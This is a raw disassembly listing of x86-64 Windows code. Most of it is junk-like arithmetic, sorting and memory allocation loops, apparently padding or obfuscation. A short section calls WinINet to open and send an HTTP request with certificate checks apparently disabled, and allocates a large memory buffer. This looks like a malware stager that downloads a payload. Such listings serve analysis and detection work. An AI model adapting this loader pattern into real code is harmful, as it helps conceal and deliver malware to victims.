mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2354], 0
mov dword [rbp + 0x2350], 1
mov dword [rbp + 0x234c], 0
mov dword [rbp + 0x7bc], 0x14d
jmp 0x2bfe432f8
mov edx, dword [rbp + 0x2354]
mov eax, dword [rbp + 0x2350]
add eax, edx
mov dword [rbp + 0x62c], eax
add dword [rbp + 0x234c], 1
mov eax, dword [rbp + 0x2350]
mov dword [rbp + 0x2354], eax
mov eax, dword [rbp + 0x62c]
mov dword [rbp + 0x2350], eax
mov eax, dword [rbp + 0x234c]
cmp eax, dword [rbp + 0x7bc]
jl 0x2bfe432c5
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x7b0], rax
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x2348], 0
jmp 0x2bfe43430
mov dword [rbp + 0x2344], 0
jmp 0x2bfe4341c
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2348]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x7b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2344]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2348]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x7a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2344]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2344], 1
cmp dword [rbp + 0x2344], 0x17
jle 0x2bfe43357
add dword [rbp + 0x2348], 1
cmp dword [rbp + 0x2348], 5
jle 0x2bfe43348
mov dword [rbp + 0x2348], 0
jmp 0x2bfe4350a
mov dword [rbp + 0x2344], 0
jmp 0x2bfe434f6
mov eax, dword [rbp + 0x2348]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
add rdx, rax
mov eax, dword [rbp + 0x2344]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2348]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
add rdx, rax
mov eax, dword [rbp + 0x2344]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2348]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x2344]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2344], 1
cmp dword [rbp + 0x2344], 0x17
jle 0x2bfe4345b
add dword [rbp + 0x2348], 1
cmp dword [rbp + 0x2348], 5
jle 0x2bfe4344c
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x233c], 0x5a
mov dword [rbp + 0x2340], 0x5a
jmp 0x2bfe43568
sub dword [rbp + 0x233c], 1
sub dword [rbp + 0x2340], 1
cmp dword [rbp + 0x2340], 0x4e
jg 0x2bfe4355a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x186c], edx
mov edx, dword [rbp + 0x186c]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x186c], eax
pxor xmm0, xmm0
movss dword [rbp + 0x2334], xmm0
mov dword [rbp + 0x2338], 0
jmp 0x2bfe43639
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2338]
movsd xmm0, qword [0x2bfe630c0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x2bfe630e0]
movd xmm0, eax
call dbg.powf
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x2338]
addsd xmm0, xmm0
movsd xmm2, qword [0x2bfe630c0]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x2334]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x2334], xmm0
add dword [rbp + 0x2338], 1
cmp dword [rbp + 0x2338], 0x50
jle 0x2bfe435c0
movss xmm1, dword [rbp + 0x2334]
movss xmm0, dword [0x2bfe630e4]
mulss xmm0, xmm1
movss dword [rbp + 0x2334], xmm0
cmp dword [rbp + 0x186c], 0x168
jle 0x2bfe43e30
movsd xmm0, qword [0x2bfe630e8]
movsd qword [rbp + 0x2328], xmm0
movsd xmm0, qword [0x2bfe630f0]
movsd qword [rbp + 0x698], xmm0
jmp 0x2bfe436bd
movsd xmm0, qword [rbp + 0x698]
mov rax, qword [rbp + 0x2328]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x2328], rax
movsd xmm0, qword [0x2bfe630f8]
comisd xmm0, xmmword [rbp + 0x2328]
ja 0x2bfe43694
mov ecx, 0x8b4
call sym.malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x2324], 0
jmp 0x2bfe43778
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2324]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2324], 1
cmp dword [rbp + 0x2324], 0x22c
jle 0x2bfe436ef
mov dword [rbp + 0x2324], 0
jmp 0x2bfe438a4
mov dword [rbp + 0x634], 0
jmp 0x2bfe43886
mov eax, 0x22c
sub eax, dword [rbp + 0x2324]
cmp dword [rbp + 0x634], eax
jl 0x2bfe437a6
cmp dword [rbp + 0x2324], 0x22c
jle 0x2bfe43797
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2320], 0xffffffff
mov ecx, 0xed8
call sym.malloc
mov qword [rbp + 0x688], rax
mov ecx, 0xed8
call sym.malloc
mov qword [rbp + 0x680], rax
add dword [rbp + 0x2320], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2320]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2320]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2320]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x680]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2320], 0x1d9
jle 0x2bfe438ef
mov dword [rbp + 0x231c], 0
jmp 0x2bfe43a3d
cmp dword [rbp + 0x186c], 0
jns 0x2bfe44a0d
movsd xmm0, qword [0x2bfe63100]
movsd qword [rbp + 0x22e8], xmm0
movsd xmm0, qword [0x2bfe63108]
movsd qword [rbp + 0x710], xmm0
jmp 0x2bfe43e88
movsd xmm0, qword [rbp + 0x710]
mov rax, qword [rbp + 0x22e8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x22e8], rax
movsd xmm0, qword [0x2bfe63110]
comisd xmm0, xmmword [rbp + 0x22e8]
ja 0x2bfe43e5f
mov dword [rbp + 0x22dc], 0
mov ecx, 0x64
call sym.malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x22e4], 0
jmp 0x2bfe43f47
mov dword [rbp + 0x22e0], 0
jmp 0x2bfe43f37
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x39835051
shr rdx, 0x20
sar edx, 9
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x8e7
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x22e4]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x708]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x22e0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x22e0], 1
cmp dword [rbp + 0x22e0], 4
jle 0x2bfe43ed0
add dword [rbp + 0x22e4], 1
cmp dword [rbp + 0x22e4], 4
jle 0x2bfe43ec4
mov dword [rbp + 0x22e4], 0
jmp 0x2bfe43fce
mov dword [rbp + 0x22e0], 0
jmp 0x2bfe43fbe
cmp dword [rbp + 0x22e0], 4
jle 0x2bfe43f6c
cmp dword [rbp + 0x22e4], 4
jle 0x2bfe43f60
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sym.free
mov dword [rbp + 0x22d8], 0xffffffff
mov ecx, 0x5c8
call sym.malloc
mov qword [rbp + 0x700], rax
add dword [rbp + 0x22d8], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2bfe630d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x22d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
movsd xmm1, qword [0x2bfe630c0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x22d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x22d8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x700]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x22d8], 0xb7
jle 0x2bfe44001
mov ecx, 0x144
call sym.malloc
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x22d4], 0
jmp 0x2bfe44114
mov ecx, 0x610
call sym.malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x22a4], 0
jmp 0x2bfe44ab4
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x22a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x22a4], 1
cmp dword [rbp + 0x22a4], 0x183
jle 0x2bfe44a2d
mov dword [rbp + 0x22a4], 0
jmp 0x2bfe44bb8
cmp dword [rbp + 0x22a4], 0
je 0x2bfe44b1d
mov eax, dword [rbp + 0x22a4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x22a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x2bfe44b29
add dword [rbp + 0x22a4], 1
jmp 0x2bfe44bb8
mov eax, dword [rbp + 0x22a4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x718], xmm0
mov eax, dword [rbp + 0x22a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rdx, rax
mov eax, dword [rbp + 0x22a4]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x798]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x22a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm0, dword [rbp + 0x718]
movss dword [rax], xmm0
sub dword [rbp + 0x22a4], 1
cmp dword [rbp + 0x22a4], 0x183
jle 0x2bfe44ad3
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sym.free
mov dword [rbp + 0x794], 0
mov ecx, 0x8c0
call sym.malloc
mov qword [rbp + 0x788], rax
mov ecx, 0x8c0
call sym.malloc
mov qword [rbp + 0x780], rax
mov ecx, 0x8c0
call sym.malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x22a0], 0
jmp 0x2bfe44d0d
cmp dword [rbp + 0x23c4], 0x60
jle 0x2bfe42e28
mov rax, qword [rbp + 0x1860]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2244], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x2238], xmm0
add dword [rbp + 0x2244], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2244]
movsd xmm0, qword [0x2bfe630c0]
addsd xmm0, xmm1
mov rax, qword [0x2bfe630c8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x2244]
addsd xmm0, xmm0
movsd xmm2, qword [0x2bfe630c0]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x2238]
addsd xmm0, xmm1
movsd qword [rbp + 0x2238], xmm0
cmp dword [rbp + 0x2244], 0xf2
jle 0x2bfe457f1
movsd xmm1, qword [rbp + 0x2238]
movsd xmm0, qword [0x2bfe630d0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x2238], xmm0
mov rax, qword [rbp + 0x1870]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.uYS_AeqcfMLEZKOTwPhndtXktZKxjcErrjVLbjuUlffbMULXPNOmngKOkXiGVbXZvTWKacwwsAO
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x17e0], rax
cmp qword [rbp + 0x17e0], 0
je 0x2bfe5a1d0
mov dword [rbp + 0x624], 0x3380
lea rdx, [rbp + 0x624]
mov rax, qword [rbp + 0x17e0]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp + 0x17dc], eax
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x7a1200
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x17d0], rax
mov rax, qword [rbp + 0x17d0]
mov qword [rbp + 0x2230], rax
mov rax, qword [rbp + 0x17e0]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp + 0x17cc], eax
cmp dword [rbp + 0x17cc], 0
je 0x2bfe5a1d0
mov ecx, 0x100
call sym.malloc
mov qword [rbp + 0x17c0], rax
mov ecx, 0xfc
call sym.malloc
mov qword [rbp + 0x17b8], rax
mov ecx, 0xfc
call sym.malloc
mov qword [rbp + 0x17b0], rax
mov ecx, 0xfc
call sym.malloc
mov qword [rbp + 0x17a8], rax
mov ecx, 0xfc
call sym.malloc
mov qword [rbp + 0x17a0], rax
mov dword [rbp + 0x2228], 0x3e
mov dword [rbp + 0x222c], 0
jmp 0x2bfe45b15
call sym.rand
mov edx, dword [rbp + 0x222c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x222c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2228]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x17b8]
add rax, rdx
mov edx, dword [rbp + 0x222c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17a8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2228]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x17b0]
add rax, rdx
mov edx, dword [rbp + 0x222c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2228], 1
add dword [rbp + 0x222c], 1
cmp dword [rbp + 0x222c], 0x3e
jle 0x2bfe45a09
mov rax, qword [rbp + 0x17b8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17b0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17a8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17a0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2224], 0x64
mov dword [rbp + 0x2220], 0x5a
mov dword [rbp + 0x221c], 0x168
mov dword [rbp + 0x2218], 0xbe
jmp 0x2bfe45c4a
mov eax, dword [rbp + 0x221c]
cmp eax, dword [rbp + 0x2218]
jle 0x2bfe45be7
mov eax, dword [rbp + 0x221c]
cmp eax, dword [rbp + 0x2224]
jle 0x2bfe45bc7
mov eax, dword [rbp + 0x221c]
cmp eax, dword [rbp + 0x2220]
jle 0x2bfe45bbe
sub dword [rbp + 0x221c], 1
jmp 0x2bfe45c33
sub dword [rbp + 0x2220], 1
jmp 0x2bfe45c33
mov eax, dword [rbp + 0x2224]
cmp eax, dword [rbp + 0x2220]
jle 0x2bfe45bde
sub dword [rbp + 0x2224], 1
jmp 0x2bfe45c33
sub dword [rbp + 0x2220], 1
jmp 0x2bfe45c33
mov eax, dword [rbp + 0x2218]
cmp eax, dword [rbp + 0x2224]
jle 0x2bfe45c15
mov eax, dword [rbp + 0x2218]
cmp eax, dword [rbp + 0x2220]
jle 0x2bfe45c0c
sub dword [rbp + 0x2218], 1
jmp 0x2bfe45c33
sub dword [rbp + 0x2220], 1
jmp 0x2bfe45c33
mov eax, dword [rbp + 0x2224]
cmp eax, dword [rbp + 0x2220]
jle 0x2bfe45c2c
sub dword [rbp + 0x2224], 1
jmp 0x2bfe45c33
sub dword [rbp + 0x2220], 1
mov eax, dword [rbp + 0x221c]
mov edx, eax
lea rax, [0x2bfe630ac]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x221c], 0
jg 0x2bfe45b8b
mov ecx, 0x4d0
call sym.malloc
mov qword [rbp + 0x1798], rax
mov dword [rbp + 0x2214], 0
jmp 0x2bfe45cc2
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2bfe630d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2214]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1798]
add rax, rdx
movsd xmm1, qword [0x2bfe630c0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2214], 1
cmp dword [rbp + 0x2214], 0x99
jle 0x2bfe45c74
mov dword [rbp + 0x2214], 0
jmp 0x2bfe45d29
mov eax, dword [rbp + 0x2214]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1798]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x2214]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1798]
add rax, rdx
movq xmm1, qword [0x2bfe63140]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2214], 1
cmp dword [rbp + 0x2214], 0x99
jle 0x2bfe45cda
mov ecx, 0x160
call sym.malloc
mov qword [rbp + 0x1790], rax
mov ecx, 0x160
call sym.malloc
mov qword [rbp + 0x1788], rax
mov dword [rbp + 0x220c], 0x57
mov dword [rbp + 0x2210], 0
jmp 0x2bfe45dba
call sym.rand
mov edx, dword [rbp + 0x2210]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2210], 1
cmp dword [rbp + 0x2210], 0x57
jle 0x2bfe45d6d
mov dword [rbp + 0x2210], 0
jmp 0x2bfe45e16
mov eax, dword [rbp + 0x220c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1790]
add rax, rdx
mov edx, dword [rbp + 0x2210]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1788]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x220c], 1
add dword [rbp + 0x2210], 1
cmp dword [rbp + 0x2210], 0x57
jle 0x2bfe45dcf
mov rax, qword [rbp + 0x1790]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1788]
mov rcx, rax
call sym.free
mov ecx, 0x60
call sym.malloc
mov qword [rbp + 0x1780], rax
mov dword [rbp + 0x2208], 0
jmp 0x2bfe45ee6
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2208]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2208], 1
cmp dword [rbp + 0x2208], 0x17
jle 0x2bfe45e5d
mov dword [rbp + 0x2208], 0
jmp 0x2bfe4600f
mov dword [rbp + 0x808], 0
jmp 0x2bfe45ff1
mov eax, dword [rbp + 0x2208]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x808]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x2bfe45fea
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x804], xmm0
mov eax, dword [rbp + 0x2208]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rdx, rax
mov eax, dword [rbp + 0x808]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x808]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1780]
add rax, rdx
movss xmm0, dword [rbp + 0x804]
movss dword [rax], xmm0
add dword [rbp + 0x2208], 1
mov eax, 0x17
sub eax, dword [rbp + 0x2208]
cmp dword [rbp + 0x808], eax
jl 0x2bfe45f11
add dword [rbp + 0x2208], 1
cmp dword [rbp + 0x2208], 0x17
jle 0x2bfe45f02
mov rax, qword [rbp + 0x1780]
mov rcx, rax
call sym.free
mov qword [rbp + 0x21f8], 0
mov dword [rbp + 0x177c], 0xe9
mov dword [rbp + 0x2204], 1
jmp 0x2bfe46062
mov eax, dword [rbp + 0x2204]
cdqe
add qword [rbp + 0x21f8], rax
add dword [rbp + 0x2204], 1
mov eax, dword [rbp + 0x2204]
cmp eax, dword [rbp + 0x177c]
jle 0x2bfe4604c
mov ecx, 0x4a8
call sym.malloc
mov qword [rbp + 0x1770], rax
mov dword [rbp + 0x21f4], 0
jmp 0x2bfe46119
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x21f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x21f4], 1
cmp dword [rbp + 0x21f4], 0x129
jle 0x2bfe46090
mov dword [rbp + 0x21f4], 0
jmp 0x2bfe46245
mov dword [rbp + 0x810], 0
jmp 0x2bfe46227
mov eax, dword [rbp + 0x21f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x810]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x2bfe46220
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x80c], xmm0
mov eax, dword [rbp + 0x21f4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rdx, rax
mov eax, dword [rbp + 0x810]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x810]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movss xmm0, dword [rbp + 0x80c]
movss dword [rax], xmm0
add dword [rbp + 0x21f4], 1
mov eax, 0x129
sub eax, dword [rbp + 0x21f4]
cmp dword [rbp + 0x810], eax
jl 0x2bfe46147
add dword [rbp + 0x21f4], 1
cmp dword [rbp + 0x21f4], 0x129
